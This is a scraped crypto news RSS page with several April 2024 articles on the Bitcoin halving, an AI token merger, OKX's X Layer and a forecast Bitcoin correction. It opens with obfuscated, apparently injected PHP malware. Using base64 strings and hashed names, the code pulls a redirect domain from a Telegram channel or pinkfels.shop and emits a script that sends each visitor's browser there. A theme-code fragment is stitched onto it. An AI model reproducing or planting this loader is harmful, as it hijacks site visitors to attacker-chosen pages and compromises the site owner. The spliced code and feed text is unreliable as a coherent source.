if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . 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]]> Core Scientific Set to Boost Texas Mining Facility by 72 MW Ahead of Bitcoin Halving https://coinsmeganews.com/core-scientific-set-to-boost-texas-mining-facility-by-72-mw-ahead-of-bitcoin-halving/ https://coinsmeganews.com/core-scientific-set-to-boost-texas-mining-facility-by-72-mw-ahead-of-bitcoin-halving/#respond Wed, 17 Apr 2024 00:50:06 +0000 https://coinsmeganews.com/core-scientific-set-to-boost-texas-mining-facility-by-72-mw-ahead-of-bitcoin-halving/ [ad_1]

Core Scientific Set to Boost Texas Mining Facility by 72 MW Ahead of Bitcoin HalvingWith just over three days remaining until the halving, Core Scientific has announced its plans to enhance its Texas mining facility by an additional 72 megawatts. This project is scheduled for completion by the end of the second quarter of 2024. This expansion aims to augment the company’s existing hashpower capacity. Core Scientific Plans for […]

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]]> https://coinsmeganews.com/core-scientific-set-to-boost-texas-mining-facility-by-72-mw-ahead-of-bitcoin-halving/feed/ 0 Bitcoin’s Scarcity After the Halving to Result in Steady Bull Run https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/ https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/#respond Wed, 17 Apr 2024 00:28:17 +0000 https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/ [ad_1]

Bitcoin approaches another critical milestone — its scheduled halving event. It is a programmed reduction in the rewards miners receive for verifying transactions.

The halving is a pivotal event that has historically influenced Bitcoin’s value and the broader cryptocurrency market.

Increasing Scarcity Meets Growing Demand

The halving occurs approximately every four years and is part of Bitcoin’s unique monetary policy. It mimics the scarcity and value preservation of precious metals like gold.

“Over the past various cycles, we’ve seen more and more demand for Bitcoin, in contrast to the supply staying the same. So, if you look at it from a macroeconomic standpoint, more demand and the same supply drive the price up,” Sheraz Ahmed, Managing Partner at STORM Partners, told BeInCrypto.

Indeed, as the halving reduces the rate at which new BTC are generated, it adjusts the supply side of the equation. This has traditionally led to a bullish sentiment among investors. Essentially, the reduced flow of new coins intensifies competition for existing ones.

Read more: Bitcoin Halving Countdown

The forthcoming halving could further exacerbate this trend, given the increasing involvement of large institutional investors through Bitcoin Exchange-Traded Funds (ETFs).

“If you look at Bitcoin ETFs in the US, they are aggregating a lot of the demand from players such as pension funds and kind of the smaller institutional players. They are buying a lot of Bitcoin, sometimes as much as they can, on a daily basis. The fact that the halving will cause less Bitcoin to be minted will mean it will be harder for them to fill that demand,” Ahmed added.

Bitcoin ETF Historical Holdings
Bitcoin ETF Historical Holdings. Source: CryptoQuant

Likewise, countries like El Salvador have already started diversifying part of their treasury assets into Bitcoin. This hints at a broader acceptance and normalization of Bitcoin as a mainstream financial asset. Furthermore, governmental involvement could amplify demand pressures post-halving, as noted by STORM’s analysts.

Bitcoin’s Steady Bull Run After the Halving

This massive buy-in could stabilize Bitcoin’s price fluctuations. “I don’t think we’ll see a dramatic swing up or down. However, it’s going to be quite constant. It will constantly grow,” Ahmed suggested, indicating a belief in the maturation of the market and a less volatile Bitcoin.

Read more: What Happened at the Last Bitcoin Halving? Predictions for 2024

While some market participants use halving events to forecast Bitcoin price movements and trading strategies, they also recognize it as a time to reflect on Bitcoin’s technological and regulatory advancements. Many jurisdictions craft regulatory frameworks that are more favorable to Bitcoin than other speculative crypto assets, which bodes well for its mainstream adoption.

For this reason, there is a growing belief that Bitcoin should be reclassified away from being just another cryptocurrency.

“I don’t believe Bitcoin should be in the league of other cryptocurrencies. Bitcoin is its own beast, and it’s very different to Ethereum and the others. None of them are competing with it. Bitcoin has around 52% of the market share today. I’m a big believer that it should graduate from the “school of cryptocurrencies” and become an actual asset that can be traded with other commodities such as gold, silver, copper, and the like,” Ahmed concluded.

Bitcoin vs. Other Major Assets
Bitcoin vs. Other Major Assets. Source: Visual Capitalist

Looking forward, the cap on Bitcoin’s total supply — only 21 million coins can ever be mined — poses fascinating economic inquiries about what happens when all coins are minted. This scarcity could lead to significant shifts in Bitcoin’s role in both financial and technological sectors.

Disclaimer

Following the Trust Project guidelines, this feature article presents opinions and perspectives from industry experts or individuals. BeInCrypto is dedicated to transparent reporting, but the views expressed in this article do not necessarily reflect those of BeInCrypto or its staff. Readers should verify information independently and consult with a professional before making decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/feed/ 0 These AI Tokens Are Set to Merge—Here’s How It Will Work https://coinsmeganews.com/these-ai-tokens-are-set-to-merge-heres-how-it-will-work/ https://coinsmeganews.com/these-ai-tokens-are-set-to-merge-heres-how-it-will-work/#respond Wed, 17 Apr 2024 00:20:47 +0000 https://coinsmeganews.com/these-ai-tokens-are-set-to-merge-heres-how-it-will-work/ [ad_1]

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A trio of leading AI-related crypto tokens are set to merge following a successful community vote, as the Artificial Superintelligence Alliance announced the approval of the new ASI token on Tuesday.

The new ASI token combines Fetch.AI’s FET, SingularityNET’s AGIX, and Ocean Protocol’s OCEAN into a single digital asset. The new ASI token, the alliance claims, will have an anticipated combined total value of $7.5 billion once the merger is completed in May.

With different communities coming together, Fetch.AI CEO and Chairman of the Alliance, Humayun Sheikh, explained that the three projects will remain distinct, with members of the Artificial Superintelligence Alliance board only deciding on new entries to the Alliance.

“All projects make their own decisions as they do currently, giving full independence to the projects and yet bringing the technology together to act as a whole,” Sheikh told Decrypt.

Community disputes, Sheikh said, will be handled by voting. Only token stakers will be able to vote.

“The objective is to make ASI the network of AI true decentralization of technological development and deployment,” he said.

In March, Fetch.AI, SingularityNET, and Ocean Protocol announced the creation of the Superintelligence Alliance. The Alliance, they said, aims to accelerate investment into artificial general intelligence (AGI) and access to AI models and databases.

“Our joint vision has always been to roll out AGI and ASI in an open, democratic, and decentralized manner,” SingularityNET founder and CEO Dr. Ben Goertzel said in a statement. “The token merger brings us closer to that goal and strengthens our ability to challenge Big Tech’s control over AI.”

Like the rest of the cryptocurrency market in recent days, AI tokens are broadly down, with FET trading at $2.08, down 20.5% for the last seven days. AGIX is down 19.7% to $0.85, and OCEAN is down 20.7% to $0.88.

Now that the merger is complete, the Alliance said that FET will be renamed to ASI, with a new total supply of 2.63 billion tokens. AGIX and OCEAN tokens will then migrate over to ASI, with conversion rates of 0.433350-to-1 and 0.433226-to-1, respectively.

After the merge is complete, AGIX and OCEAN held in self-custody wallets will be provided a means to swap for ASI, with FET tokens automatically changing to the new token. AGIX and OCEAN held on cryptocurrency exchanges will be automatically converted to the new ASI token, the Superintelligence Alliance said.

As the Alliance explains, the tickers for AGIX and OCEAN will be retired on exchanges where they are currently listed. It warned holders not to try to send the tokens to exchanges once the conversion to ASI has taken place.

“We’re glad that the Fetch and SingularityNet communities have cleared this hurdle and approved the token merger,” Ocean Protocol founder and CEO Bruce Pon said in a statement. “We’re excited to get started.”

Edited by Andrew Hayward

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]]> https://coinsmeganews.com/these-ai-tokens-are-set-to-merge-heres-how-it-will-work/feed/ 0 OKX launches public mainnet for its ZK-powered L2 network “X Layer” https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/ https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/#respond Tue, 16 Apr 2024 23:46:06 +0000 https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/ [ad_1]

X Layer is a zero knowledge (ZK), EVM-compatible Layer-2 network.
The Polygon CDK powered L2 is live and  integrates with over 200 dApps across DeFi, wallets, NFTs and gaming among others.

OKX, one of the world’s largest crypto exchange companies, has launched the public mainnet of its EVM-compatible Layer 2 network “X Layer” is now live.

Haider Rafique, the chief marketing officer at OKX, announced the launch in a blog post on Tuesday.

According to the OKX official, the Polygon Chain Development Kit (CDK)-powered L2 integrates with over 200 decentralised applications (dApps) onboarded during X Layer’s testnet.

X Layer integrates over 200 dApps

X Layer also integrates with the OKX exchange’s CEX platform and the OKX Web3 Wallet.

As an EVM-compatible network, X Layer allows users to tap into dApps on Ethereum as well as bridge assets from the OKX CEX and Web3 Wallet.

“Our objective is to make it cheaper and faster for millions of people to go in and out of on-chain applications through our Zero-Knowledge Proof (ZK) powered, EVM compatible L2 network,” Rafique noted in the blog post published on April 16.

Applications currently available with the mainnet launch include 40 DeFi projects, 20 Infrastructure, 12 bridge,  and 16 wallets. There are also 10 NFT and gaming, 10 SocialFi applications and numerous dev tooling dApps.

Popular DeFi dApps on X Layer include Chainlink, Curve, Renzo, and QuickSwap while Infra applications include LayerZero, Wormhole, and EigenLayer (DA).

X Layer is aimed at unlocking and accelerating adoption of Web3 economy, Rafique said.

OKB, the native OKX token, will serve as the native asset of the X Layer network. Users will leverage the token for transaction fees on the network.

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]]> https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/feed/ 0 Umoja Partners With Merlin Chain to Launch Bitcoin’s First High-Yield Synthetic Dollar https://coinsmeganews.com/umoja-partners-with-merlin-chain-to-launch-bitcoins-first-high-yield-synthetic-dollar/ https://coinsmeganews.com/umoja-partners-with-merlin-chain-to-launch-bitcoins-first-high-yield-synthetic-dollar/#respond Tue, 16 Apr 2024 23:37:27 +0000 https://coinsmeganews.com/umoja-partners-with-merlin-chain-to-launch-bitcoins-first-high-yield-synthetic-dollar/ [ad_1]

Umoja Partners With Merlin Chain to Launch Bitcoin's First High-Yield Synthetic DollarThe smart money protocol Umoja has joined forces with the Bitcoin layer two (L2) initiative, Merlin Chain, to roll out a Bitcoin-based high-yield synthetic dollar. The newly introduced stablecoin is engineered to uphold a self-sustaining peg via transparent, onchain trading techniques developed by Umoja. Merlin Chain and Umoja Reveal USDb: The New High-Yield Synthetic Dollar […]

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]]> https://coinsmeganews.com/umoja-partners-with-merlin-chain-to-launch-bitcoins-first-high-yield-synthetic-dollar/feed/ 0 BITCOIN vs. ALTCOINS (FIGHT TO THE DEATH?) https://coinsmeganews.com/bitcoin-vs-altcoins-fight-to-the-death/ https://coinsmeganews.com/bitcoin-vs-altcoins-fight-to-the-death/#respond Tue, 16 Apr 2024 23:05:53 +0000 https://coinsmeganews.com/bitcoin-vs-altcoins-fight-to-the-death/

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]]> https://coinsmeganews.com/bitcoin-vs-altcoins-fight-to-the-death/feed/ 0 Bear Market Blues Return as Analyst Predicts 30% Bitcoin Correction to $51K https://coinsmeganews.com/bear-market-blues-return-as-analyst-predicts-30-bitcoin-correction-to-51k/ https://coinsmeganews.com/bear-market-blues-return-as-analyst-predicts-30-bitcoin-correction-to-51k/#respond Tue, 16 Apr 2024 12:26:26 +0000 https://coinsmeganews.com/bear-market-blues-return-as-analyst-predicts-30-bitcoin-correction-to-51k/ [ad_1]

The bull market euphoria appears to have come to a screeching halt as the crypto market correction continues and digital assets keep dumping.

On April 16, prominent market analyst “Cold Blooded Shiller” told his 269,000 followers on X that Bitcoin is “still the cloud that hangs over crypto.”

BTC has retreated 15% from its March 14 all-time high, but historical market cycles have seen corrections of more than 30%.

This could potentially send BTC prices back to around $51,000, which could send the rest of the altcoins into an even deeper freefall.

Correction Could Deepen

There was a 25% correction early in the 2021 cycle, which sent BTC prices tumbling from more than $40,000 to $30,000 within a month. It also dumped 53% later that year in a pullback from $63,000 in April to $30,000 in July.

So, a 30% retracement from $73,000 would take prices back to the $50,000 level, which wouldn’t seem out of place considering previous market movements.

On April 15, market analyst Willy Woo said that if support at $58,900 breaks, “we move to a bear market.”

Markets are “still weeks away from a proper bullish environment,” in the long term, he added.

Glassnode analyst “Checkmatey” also mentioned bear markets, stating that they start “when too many people buy too much coin, too high.” However, he remained a little more optimistic, stating that the market does not appear “top heavy.”

Moreover, the Bitcoin Fear and Greed Index remains in the green zone, which means it is far too early to call a bear market, given the overall sentiment.

Altcoins Bleeding

Analyst Luke Martin observed that many of the altcoins have nearly erased six months of gains in just a couple of weeks. “Some are only 15-20% away from bear market cycle lows,” he added.

Meanwhile, ‘Rekt Capital’ pointed out that there has always been a pre-halving retrace, and this cycle is no different.

BTC prices were trading down 2.8% on the day at $63,354 at the time of writing. The wider market had dropped 3% with total capitalization down to $2.41 trillion as altcoins got hit harder.

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